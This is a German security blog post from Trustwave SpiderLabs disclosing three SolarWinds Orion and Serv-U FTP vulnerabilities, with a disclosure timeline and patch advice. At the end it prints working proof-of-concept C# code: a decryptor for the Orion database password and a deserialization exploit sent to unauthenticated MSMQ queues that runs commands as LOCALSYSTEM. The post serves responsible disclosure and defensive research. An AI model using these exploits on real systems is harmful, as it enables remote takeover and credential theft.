Loading...
Blogs & Stories

SpiderLabs-Blog

Mit mehr als einer halben Million Lesern pro Jahr ist dies die Anlaufstelle der Sicherheitsgemeinschaft für technische Informationen zu den neuesten Bedrohungen, Informationen zu kritischen Sicherheitslücken und aktuellen Forschungsergebnissen.

SolarWinds Orion & Serv-U FTP: volle Systemkontrolle durch Sicherheitslücken

UPDATES

Dieser Blog-Beitrag wurde am 9. Februar aktualisiert und enthält nun Proof-of-Concept(PoC)-Code.


In diesem Blog stelle ich drei neue Sicherheitsprobleme vor, die ich kürzlich in mehreren SolarWinds-Produkten gefunden habe. Bei allen drei handelt es sich um kritische Sicherheitslücken. Die gefährlichste von ihnen ermöglicht eine Remote Code Execution mit höchstmöglichen Rechten. Nach aktuellem Wissensstand der Trustwave-Experten wurde keine der Sicherheitslücken während der letzten SolarWinds-Angriffe oder bei Angriffen „in the wild“ ausgenutzt. Angesichts der Kritikalität empfehlen wir den betroffenen Anwendern jedoch, so schnell wie möglich die Patches zu installieren.


Fact Sheet

Neue Sicherheitslücken in SolarWinds-Produkten von Trustwave SpiderLabs entdeckt

Laden Sie das Fact Sheet zu den SolarWinds-Schwachstellen herunter, die Trustwave SpiderLabs entdeckt hat. Alle drei Sicherheitslücken sind schwerwiegend, wobei die kritischste die Remote Code Execution mit hohen Berechtigungen ermöglicht.

Jetzt herunterladen


Schwachstelle in SolarWinds Orion-Plattform (CVE-2021-25274): Nachrichten in der Warteschlange, verarbeitet, deserialisiert und ausgenutzt

Angesichts des jüngsten Angriffs auf die SolarWinds-Lieferkette habe ich mich entschlossen, einen kurzen Blick auf SolarWinds-Produkte zu werfen, die auf dem Orion-Framework basieren. SolarWinds bietet Testversionen zum Download an. Ich habe mich für den User Device Tracker entschieden und die Software auf einem virtuellen Vanilla Windows Server 2019 installiert. Teil der Installation ist die Einrichtung der Microsoft Message Queue (MSMQ), die es schon seit mehr als zwei Jahrzehnten gibt. Dies erregte sofort meine Aufmerksamkeit, da diese Technologie auf modernen Windows-Systemen standardmäßig nicht installiert ist. Als Nächstes schlug der Installer vor, Microsoft SQL Server Express für die Verwaltung der Produkt-Backend-Datenbank zu installieren. Ich konnte mich jedoch auch für die Verwendung einer vorhandenen Microsoft SQL Server-Instanz entscheiden. Nach ein paar weiteren Schritten war das Produkt betriebsbereit.

Nach der Installation der MSMQ habe ich zunächst versucht, die Computer-Managementkonsole zu öffnen, um zu sehen, was bei dem Message Queuing vor sich geht (siehe Abbildung 1).

Image001Abbildung 1: SolarWinds Orion Collector verwendet MSMQ intensiv.

 

Wie Sie sehen können, gibt es eine lange Liste privater Message Queues, und jede von ihnen hat ein spezifisches Problem. Schauen Sie sich die Abbildung 2 an – vielleicht können Sie das Problem schon identifizieren.

Image002Abbildung 2: Die Sicherheit ist in den Queues nicht konfiguriert.

 

Die Warnmeldung ist eigentlich kaum zu übersehen. Sie zeigt an, dass diese Queue, wie auch alle anderen, nicht authentifiziert ist. Kurz gesagt bedeutet dies, dass nicht authentifizierte Benutzer über den TCP-Port 1801 Nachrichten an solche Queues senden können. Das weckte mein Interesse, und ich schaute mir den Code an, der eingehende Nachrichten verarbeitet. Leider stellte sich heraus, dass es sich um ein Opfer einer unsicheren Deserialisierung handelte. Ein einfacher Proof of Concept (PoC) (am 9. Februar diesem Blog hinzugefügt) ermöglicht die Remote Code Execution aus der Ferne durch nicht privilegierte Benutzer, indem diese beiden Aspekte kombiniert werden. Da der Code zur Nachrichtenverarbeitung als Windows-Dienst ausgeführt wird und somit für die Verwendung des LocalSystem-Kontos konfiguriert ist, haben wir die vollständige Kontrolle über das zugrunde liegende Betriebssystem.

Nach dem Einspielen des Patches wird ein Schritt zur Überprüfung der digitalen Signatur für eingegangene Nachrichten ausgeführt. Dadurch wird sichergestellt, dass Nachrichten, die keine Signatur haben oder nicht mit einem Zertifikat pro Installation signiert sind, nicht weiterverarbeitet werden. Doch andererseits sind die Message Queues immer noch nicht authentifiziert, und dies ermöglicht es jedem, Nachrichten an sie zu senden.

 

Schwachstelle in SolarWinds Orion-Plattform (CVE-2021-25275): Datenbank-Anmeldeinformationen für jedermann

 

Für uns ist das Thema Datenbanksicherheit sehr wichtig. Daher bestand mein nächster Forschungsschritt darin, zu überprüfen, wie gut SolarWinds die Anmeldeinformationen für die Backend-Datenbank gesichert hat. Nach einem einfachen grep über die vom Produkt installierten Dateien wurde eine Datei gefunden – tatsächlich sogar zwei, aber dazu später mehr –, wie in Abbildung 3 dargestellt.

Image003Abbildung 3: Konfigurationsdatei mit Anmeldeinformationen für die Orion-Backend-Datenbank

 

Berechtigungen werden großzügig allen lokal authentifizierten Benutzern gewährt (siehe Abbildung 4).

Image004Abbildung 4: Authentifizierte Benutzer können den Inhalt der Datei lesen.

 

In dieser Datei befinden sich die Anmeldeinformationen für die SolarWinds-Backend-Datenbank namens SOLARWINDS_ORION:

Image005Abbildung 5: In der Konfigurationsdatei befinden sich Anmeldeinformationen für die Orion-Backend-Datenbank.

 

Ich habe einige Zeit damit verbracht, Code ausfindig zu machen, der das Passwort entschlüsselt, aber im Grunde ist es ein Einzeiler. Im Endeffekt können nicht privilegierte Benutzer, die sich lokal oder per RDP anmelden, den Entschlüsselungscode ausführen und ein Passwort im Klartext für den SolarWindsOrionDatabaseUser erhalten. Der nächste Schritt besteht darin, sich mit dem wiederhergestellten Konto mit dem Microsoft SQL-Server zu verbinden. An diesem Punkt haben wir die vollständige Kontrolle über die SOLARWINDS_ORION-Datenbank. Von hier aus kann man Informationen abgreifen oder einen neuen Benutzer auf Administratorebene hinzufügen, der für den Zugriff auf die SolarWinds Orion-Produkte verwendet werden soll.

Image006Abbildung 6: Nach Verwendung eines kleinen Entschlüsselungs-Tools können wir eine Verbindung zur Datenbank herstellen.

 

Wie bereits erwähnt, habe ich meine Tests in der Trial-Version durchgeführt. Bei der Überprüfung des Patches haben wir festgestellt, dass er zwar die SWNetPerfMon.DB-Datei, aber nicht die in der Testversion enthaltene SWNetPerfMon.DB.Eval-Datei sichert.

 

Schwachstelle in SolarWinds Serv-U FTP (CVE-2021-25276) – FTP-Server: Eigenständig einen Administrator für sich selbst hinzufügen

Nach der Orion-Plattform habe ich mir noch ein weiteres SolarWinds-Produkt namens Serv-U FTP für Windows angesehen. Es stellte sich heraus, dass die Konten auf der Festplatte in separaten Dateien gespeichert werden. Directory Access Control Lists ermöglichen eine vollständige Kompromittierung durch jeden authentifizierten Windows-Benutzer. Jeder, der sich lokal oder über Remote-Desktop anmelden kann, ist in der Lage, einfach eine Datei abzulegen, die einen neuen Benutzer definiert. Der Serv-U-FTP-Server nimmt diese Datei dann automatisch auf. Da wir jeden Serv-U-FTP-Benutzer erstellen können, ist es sinnvoll, als Nächstes ein Administratorkonto zu definieren. Dazu wird ein einfaches Feld in der Datei generiert und dann das Benutzerverzeichnis auf das Stammverzeichnis des Laufwerks C:\ gesetzt. Jetzt können wir uns über FTP anmelden und jede Datei auf C:\ lesen oder ersetzen, da der FTP-Server als LocalSystem ausgeführt wird.

Image007Abbildung 7: Authentifizierte Benutzer können in das Konfigurationsverzeichnis schreiben.

 

Zusammenfassung

In diesem Beitrag haben wir zwei von uns gefundene Schwachstellen in SolarWinds Orion User Device Tracker und eine in SolarWinds Serv-U FTP näher betrachtet. Diese Sicherheitslücken können einem Angreifer die vollständige Remote Code Execution, den Zugriff auf Anmeldeinformationen zur Wiederherstellung und die Möglichkeit zum Lesen, Schreiben oder Löschen von Dateien auf dem System ermöglichen.

Trustwave hat SolarWinds alle drei Schwachstellen gemeldet, und es wurden sehr zeitnah Patches veröffentlicht. In diesem Zusammenhang möchten wir uns bei SolarWinds für die partnerschaftliche Zusammenarbeit während des Offenlegungsprozesses bedanken. Wir empfehlen Administratoren, so schnell wie möglich eine Aktualisierung durchzuführen.

Mit dem PoC-Code helfen wir Experten für Informationssicherheit, solche Probleme besser zu verstehen und Schutzmaßnahmen zu entwickeln, um ein Ausnutzen dieser Schwachstellen zu verhindern.

Disclosure Timeline

30.12.2020 – Orion-Schwachstellen dem Anbieter gemeldet
04.01.2021 – Bestätigung der Orion CVEs
04.01.2021 – ServU-FTP-Schwachstellen dem Anbieter gemeldet
05.01.2021 – Bestätigung der ServU-FTP CVE
22.01.2021 – Serv-U-FTP-Hotfix veröffentlicht
25.01.2021 – Orion-Patches veröffentlicht
03.02.2021 – Hinweis veröffentlicht
09.02.2021 – Proof of Concept-Code veröffentlicht

Verweise

Trustwave-Lösungen für optimalen Schutz

Trustwave bietet Vulnerability-Scanning-Produkte an, die in der Lage sind, solche Schwachstellen zu erkennen. Darüber hinaus enthalten die Trustwave IDS-/IPS-Produkte Signaturen, die im Netzwerk die Ausnutzung der Schwachstelle CVE-2021-25274 erkennen können.

Proof of Concept Code

Für (CVE-2021-25275)

/*
** To build:
**
** Copy SolarWinds.Orion.Common.dll from SolarWinds machine (C:\Program Files (x86)\Common Files\SolarWinds\Collector\)
**
** %windir%\Microsoft.NET\Framework64\v4.0.30319\csc.exe /r:SolarWinds.Orion.Common.dll OrionDBpwd.cs
**
** This program must be executed on actual SolarWinds machine to decrypt the password (as unprivileged user)
*/

using System;
using SolarWinds.Orion.Common.Helpers;

class Program
{
    static void Main(string[] args)
    {
        if (args.Length != 1)
        {
            Console.WriteLine("Provide encrypted password value from the config file.");
            return;
        }
        DataProtectionHelper helper = new DataProtectionHelper();
        Console.WriteLine(helper.Decrypt(args[0]));
    }
}

 

Für (CVE-2021-25274)

 

/*
** To build:
**
** Copy SolarWinds.Collector.Contract.dll from SolarWinds machine (C:\Program Files (x86)\Common Files\SolarWinds\Collector\)
**
** %windir%\Microsoft.NET\Framework64\v4.0.30319\csc.exe /r:SolarWinds.Collector.Contract.dll OrionMSMQ.cs
*/

using SolarWinds.Collector.Contract;

using System;
using System.Collections.Generic;
using System.Data.Linq;
using System.Diagnostics;
using System.IO.Compression;
using System.IO;
using System.Linq;
using System.Messaging;
using System.Reflection;
using System.Text;

namespace OrionMSMQ
{   
    internal class CompressedMessageFormatter : IMessageFormatter, ICloneable
    {
        // Fields
        private IMessageFormatter baseFormatter;
        private byte[] compressHeader;

        // Methods
        public CompressedMessageFormatter(IMessageFormatter original) : this(original, 0x1e8480)
        {
        }

        public CompressedMessageFormatter(IMessageFormatter original, long compressThreshold)
        {
            this.compressHeader = Encoding.ASCII.GetBytes("CompressVersion1");
            if (original == null)
            {
                throw new ArgumentNullException("original");
            }
            this.baseFormatter = original;
            this.CompressThreshold = compressThreshold;
        }

        public bool CanRead(Message message)
        {
            if (message == null)
            {
                return false;
            }
            return (message.BodyStream != null);
        }

        public object Clone() 
        {
            return new CompressedMessageFormatter((IMessageFormatter)this.baseFormatter.Clone()); 
        }

        public object Read(Message message)
        {
            if (message == null)
            {
                throw new ArgumentNullException("message");
            }
            byte[] buffer = new byte[this.compressHeader.Length];
            message.BodyStream.Position = 0L;
            message.BodyStream.Read(buffer, 0, buffer.Length);
            if (this.compressHeader.SequenceEqual(buffer))
            {
                message.BodyStream.Seek((long)buffer.Length, SeekOrigin.Begin);
                using (DeflateStream stream = new DeflateStream(message.BodyStream, CompressionMode.Decompress))
                {
                    Message message2 = new Message
                    {
                        BodyType = message.BodyType
                    };
                    stream.CopyTo(message2.BodyStream);
                    message.BodyStream = message2.BodyStream;
                }
            }
            message.BodyStream.Position = 0L;
            return this.baseFormatter.Read(message);
        }

        public void Write(Message message, object obj)
        {
            if (message == null)
            {
                throw new ArgumentNullException("message");
            }
            if (obj == null)
            {
                throw new ArgumentNullException("obj");
            }
            this.baseFormatter.Write(message, obj);
            if (message.BodyStream.Length >= this.CompressThreshold)
            {
                MemoryStream stream = new MemoryStream();
                stream.Write(this.compressHeader, 0, this.compressHeader.Length);
                using (DeflateStream stream2 = new DeflateStream(stream, CompressionMode.Compress, true))
                {
                    message.BodyStream.Position = 0L;
                    message.BodyStream.CopyTo(stream2);
                }
                stream.Position = 0L;
                message.BodyStream = stream;
            }
        }

        // Properties
        public long CompressThreshold { get; internal set; }
    }

    class Program
    {
        public static void TypeConfuseDelegate(Comparison comp)
        {
            FieldInfo fi = typeof(MulticastDelegate).GetField("_invocationList", BindingFlags.NonPublic | BindingFlags.Instance);
            Object[] invoke_list = comp.GetInvocationList();
            invoke_list[1] = new Func<String, String, Process>(Process.Start);
            fi.SetValue(comp, invoke_list);
        }

        static void Main(String[] args)
        {
            Console.WriteLine("");
            Console.WriteLine("Microsoft Message Queuing Feature should be installed on your computer before running this POC.");
            Console.WriteLine("");
            if (args.Length < 2)
            {
                Console.WriteLine("Provide IP address of SolarWinds box and a command to run as LOCALSYSTEM.");
                Console.WriteLine("Example invocation:");
                Console.WriteLine();
                Console.WriteLine("\tOrionMSMQ.exe 192.168.1.11 shutdown /r");
                return;
            }

            // Borrowed from https://googleprojectzero.blogspot.com/2017/04/
            Delegate d = new Comparison(String.Compare);
            Comparison d2 = (Comparison)MulticastDelegate.Combine(d, d);
            IComparer comp = Comparer.Create(d2);
            SortedSet set = new SortedSet(comp);

            for (int i = 1; i < args.Length; i++)
            {
                set.Add(args[i]);
            }

            TypeConfuseDelegate(d2);

            PropertyBag bag = new PropertyBag();
            bag["PollingPlanID"] = "0";

            bag["Payload"] = set;
            String path = String.Format("FormatName:DIRECT=TCP:{0}\\private$\\solarwinds/collector/processingqueue/core.node.details.wmi", args[0]);
            MessageQueue rmQ = new MessageQueue(path);
            Message msg = new Message(bag, new CompressedMessageFormatter(new BinaryMessageFormatter()));
            rmQ.Send(msg);
            Console.WriteLine("Payload sent to remote queue:");
            Console.WriteLine(rmQ.Path);   
        }
    }
}

Upcoming Webinar

Overview of New SolarWinds Vulnerabilities Discovered by Trustwave SpiderLabs

More questions? Join us on Tuesday, February 9, 2021 from 9:00 a.m. - 10:00 a.m. CST

Register Now